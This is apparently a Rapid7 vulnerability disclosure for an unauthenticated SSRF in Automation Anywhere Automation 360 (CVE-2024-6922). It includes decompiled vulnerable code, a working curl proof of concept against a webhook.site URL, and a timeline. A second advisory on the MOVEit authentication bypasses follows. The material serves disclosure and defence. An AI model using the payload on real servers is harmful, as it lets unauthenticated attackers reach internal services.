Automation Anywhere wants to thank Rapid7 for the discovery of an issue, that is now reported as CVE-2024-6922 in Automation 360 v.32 and earlier. We have notified our customers of the mitigation.

Impact

These requests can be used to target internal network services that are not otherwise reachable. Blind SSRF can be weaponized to discover and exploit common internal enterprise systems via SSRF canaries and timing-based port scans. Furthermore, the vulnerability also makes localhost-only system web services reachable to attackers. For example, unauthenticated attackers can direct Automation 360 to perform arbitrary POST web requests to the back end web services behind Traefik, the Elastic API, and internal Windows web APIs. These capabilities subvert expectations of what should and should not be publicly reachable for unauthenticated users.

Exploitation

The spring/authn-context-global-security-urls.xml file within kernel.jar contains Spring security filter definitions for the front-facing Automation 360 Control Room web application. In the XML, the URL pattern /v1/proxy/test is set to allow unauthenticated access:

[..snip..]
        <!-- proxy -->
        <sec:intercept-url pattern="/v1/proxy/test" access="permitAll()"/>
[..snip..]

The testSDSProxyCredentials function that implements that API endpoint is found in com/automationanywhere/proxy/service/impl/SDSProxyCredentialServiceImpl.java. It expects a JSON saasUrl value in the POST request body, which it then uses in a format string for a new POST request to a “cloud control room”. This decompiled code is shown below, with number identifier comments added. At [1], tainted data is formatted into the URL string. At [2], an HttpURLConnection is opened to the URL, then the response data stream is fetched at [3]. The response is not returned to the attacker.

public void testSDSProxyCredentials(
    final SDSProxyCredTestRequest proxyCredsToTest) {
  if (proxyCredsToTest.getSaasUrl().isEmpty()) {
    throw new IllegalArgumentException(
        "Please provide a valid SaaS system url.");
  }
  final String saasUrl = String.format(
      "https://%s/v1/authentication", proxyCredsToTest.getSaasUrl()); // [1]
  HttpURLConnection httpURLConnection = null;
  final String proxyUsername = proxyCredsToTest.getUsername();
  final String proxyPassword = proxyCredsToTest.getPassword();
  final boolean proxyCredsPassed = !proxyUsername.isEmpty();
  String CLOUD_CR_CONNECTION_FAILED =
      "Unable to connect to cloud control room.";
  try {
    try {
      httpURLConnection = ProxyUtil.getConnection(saasUrl); // [2]
      httpURLConnection.setDoOutput(true);
      httpURLConnection.setRequestMethod("POST");
      httpURLConnection.setRequestProperty("Content-Type", "application/json");
    } catch (final Exception e) {
      this.proxyAuditService.addAuditLog(
          ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE,
          CLOUD_CR_CONNECTION_FAILED);

      throw new RuntimeException(e);
    }
    if (proxyCredsPassed) {
      ProxyUtil.setAuthenticator(
          saasUrl, httpURLConnection, proxyUsername, proxyPassword);
    }

    try {
      final DataOutputStream wr =
          new DataOutputStream(httpURLConnection.getOutputStream()); // [3]
      try {
        wr.writeBytes("");
        wr.flush();

        final int responseCode = httpURLConnection.getResponseCode();
        if (responseCode != 400) {
          SDSProxyCredentialServiceImpl.logger.error(responseCode);
          InputStream inputStream;
          try {
            inputStream = httpURLConnection.getInputStream();
          } catch (final IOException ioe) {
            inputStream = httpURLConnection.getErrorStream();
          }
          final BufferedReader in = new BufferedReader(
              new InputStreamReader(inputStream, StandardCharsets.UTF_8));

          try {
            final String errorMessage =
                in.lines().collect(Collectors.joining("\n"));
            CLOUD_CR_CONNECTION_FAILED =
                this.getResponseMessageFromError(errorMessage);
            SDSProxyCredentialServiceImpl.logger.error(
                CLOUD_CR_CONNECTION_FAILED + " error code: {} msg: {}",

                (Object) responseCode, (Object) errorMessage);

            this.proxyAuditService.addAuditLog(
                ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE,
                CLOUD_CR_CONNECTION_FAILED);

            throw new IllegalStateException(CLOUD_CR_CONNECTION_FAILED);
          } catch (final Throwable t) {
            try {
              in.close();
            } catch (final Throwable exception) {
              t.addSuppressed(exception);
            }
            throw t;
          }
        }
        wr.close();
      } catch (final Throwable t2) {
        try {
          wr.close();
        } catch (final Throwable exception2) {
          t2.addSuppressed(exception2);
        } throw t2;
      }
    } catch (final IOException e2) {
      CLOUD_CR_CONNECTION_FAILED =
          this.getResponseMessageFromError(e2.getMessage());
      SDSProxyCredentialServiceImpl.logger.error(
          CLOUD_CR_CONNECTION_FAILED, e2);
      this.proxyAuditService.addAuditLog(
          ProxyAuditValue.PROXY_CONNECTIVITY_TEST_FAILURE, e2.getMessage());
      throw new IllegalStateException(CLOUD_CR_CONNECTION_FAILED);
    }
    this.proxyAuditService.addAuditLog(
        ProxyAuditValue.PROXY_CONNECTIVITY_TEST_SUCCESS, "");
  } finally {
    httpURLConnection.disconnect();
  }
}

As outlined in the code, the attacker-controlled host name has the HTTPS scheme prepended and the /v1/authentication path appended. However, a hash symbol can be used to escape the existing path, and the attacker can specify an arbitrary basic authentication string, port, and set of URL parameters for the resulting POST request. The unauthenticated request is demonstrated below, targeting a webhook.site URL for easy access logging.

$ curl -vvv 'http://192.166.15.138/v1/proxy/test' -d '{"saasUrl":"www.webhook.site/fa6f3803-7bd4-4fdb-b2ac-103fe10aa56f?param=one#"}'
*   Trying 192.166.15.138:80...
* Connected to 192.166.15.138 (192.166.15.138) port 80 (#0)
> POST /v1/proxy/test HTTP/1.1
> Host: 192.166.15.138
> User-Agent: curl/7.81.0
> Accept: */*
> Content-Length: 72
> Content-Type: application/x-www-form-urlencoded
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Content-Security-Policy: default-src 'self' http://127.0.0.1:22113/ https://cdn.pendo.io/ https://app.pendo.io/ https://data.pendo.io/ https://pendo-static-5673999629942784.storage.googleapis.com/ https://pendo-io-static.storage.googleapis.com/  https://iph.zoominsoftware.io/ https://automationanywhere-be-dev.zoominsoftware.io/ https://automationanywhere-staging.zoominsoftware.io https://docs.automationanywhere.com/ https://automationanywhere-be-prod.automationanywhere.com ; frame-src 'self' https://*.youtube.com/ https://*.wistia.net/ https://*.wistia.com https://*.zoominsoftware.io https://*.automationanywhere.com/ https://cdn.pendo.io/ https://app.pendo.io/ https://data.pendo.io/ https://pendo-static-5673999629942784.storage.googleapis.com/ https://pendo-io-static.storage.googleapis.com/
< Content-Type: application/json
< Date: Thu, 23 May 2024 00:05:20 GMT
< Expires: 0
< Pragma: no-cache
< Referrer-Policy: same-origin
< Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< X-Xss-Protection: 1; mode=block
< Transfer-Encoding: chunked
< 
* Connection #0 to host 192.166.15.138 left intact
{"message":"Unable to connect to cloud control room."}

The listening webhook.site HTTPS server then receives a POST request from the Automation 360 server:

CVE-2024-6922: Automation Anywhere Automation 360 Server-Side Request Forgery

Remediation

Automation Anywhere indicated to Rapid7 that this issue had been fixed in version 33 of the product even before Rapid7 reported the issue to them. The vendor listed the affected versions as v21 to v32.

Automation Anywhere has indicated to Rapid7 that per the release notes, this issue has been fixed in Automation 360 v.33 that was available on June 17, 2024. The vendor reinforced that customers on older versions should upgrade to Automation 360 v.33 to get the vulnerability resolved. More information is available on the A360 Release Notes portal at https://docs.automationanywhere.com/bundle/enterprise-v2019/page/v33-release-automation-workspace.html#d468396e1627

Rapid7 Customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-6922 with a vulnerability check expected to be available in today’s (Friday, July 26) content release.

Disclosure Timeline

June 17, 2024: Rapid7 makes initial contact with Automation Anywhere
June 21, 2024: Automation Anywhere confirms contact mechanism for vulnerability disclosure
June 24, 2024: Rapid7 provides Automation Anywhere with technical details.
July 1, 2024: Automation Anywhere confirmed the Rapid7 findings and found that the vulnerable code had coincidentally been removed from v33 prior to Rapid7 outreach.
July 2, 2024: Rapid7 requests additional information on affected product versions and remediation guidance
July 18, 2024: Automation Anywhere confirms affected product versions and shares plan to disclose the vulnerability to customers via release notes as of July 26, 2024. Rapid7 reserves CVE-2024-6922.
July 25, 2024: Rapid7 and Automation Anywhere confirm remediation guidance and coordinated disclosure timing.
July 26, 2024: This disclosure.

Authentication Bypasses in MOVEit Transfer and MOVEit Gateway

On June 25, 2024, Progress Software published information on two new vulnerabilities in MOVEit Transfer and MOVEit Gateway: CVE-2024-5806, a high-severity authentication bypass affecting the MOVEit Transfer SFTP service in a default configuration, and CVE-2024-5805, a critical SFTP-associated authentication bypass vulnerability affecting MOVEit Gateway. Attackers can exploit these improper authentication vulnerabilities to bypass SFTP authentication and gain access to MOVEit Transfer and Gateway.

CVE-2024-5806 is an improper authentication vulnerability affecting the MOVEit Transfer SFTP service that can lead to authentication bypass. Rapid7 researchers tested a MOVEit Transfer 2023.0.1 instance, which appeared to be vulnerable in the default configuration. As of June 25, the known criteria for exploitation are threefold: that attackers have knowledge of an existing username, that the target account can authenticate remotely, and that the SFTP service is exposed. It’s possible that attackers may spray usernames to identify valid accounts. Rapid7 recommends installing the vendor-provided patches for CVE-2024-5806 on an emergency basis, without waiting for a regular patch cycle to occur.

According to Progress Software’s advisory, CVE-2024-5805 is a critical authentication bypass vulnerability that affects the SFTP feature of the MOVEit Gateway software in version 2024.0.0; earlier versions do not appear to be vulnerable, which likely limits available attack surface area. MOVEit Gateway is an optional component designed to proxy traffic to and from MOVEit Transfer instances. A patch is available for CVE-2024-5805 and should be applied on an emergency basis for organizations running MOVEit Gateway.

Progress MOVEit is an enterprise file transfer suite, which inherently makes it a highly desirable target for threat actors. Since enterprise file transfer software typically holds a large volume of confidential data, smash-and-grab attackers target these solutions to extort victims. In June 2023, an unauthenticated attack chain targeting MOVEit Transfer was widely exploited by the Cl0p ransomware group. Shodan queries indicate that there are approximately 1,000 public-facing MOVEit Transfer SFTP servers and approximately 70 public-facing MOVEit Gateway SFTP servers. (Note that not all of these may be vulnerable to these latest CVEs.)

Notably, Rapid7 observed that installers for the patched (latest) version of the MOVEit Transfer have been available on VirusTotal since at least June 11, 2024. Vulnerability details and proof-of-concept exploit code are publicly available for MOVEit Transfer CVE-2024-5806 as of June 25, 2024.

Mitigation guidance

MOVEit customers should apply vendor-provided updates for both vulnerabilities immediately.

The following versions of MOVEit Transfer are vulnerable to CVE-2024-5806:

The advisory notes that “Customers using the MOVEit Cloud environment were patched and are no longer vulnerable to this exploit.”

Only MOVEit Gateway 2024.0.0 is vulnerable to CVE-2024-5805, per the vendor advisory. The vulnerability is fixed in MOVEit Gateway 2024.0.1. The advisory indicates that “MOVEit Cloud does not use MOVEit Gateway, so no further action is needed by MOVEit Cloud customers.”

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2024-5805 and CVE-2024-5806 with authenticated vulnerability checks expected to be available in today’s (June 25) content release.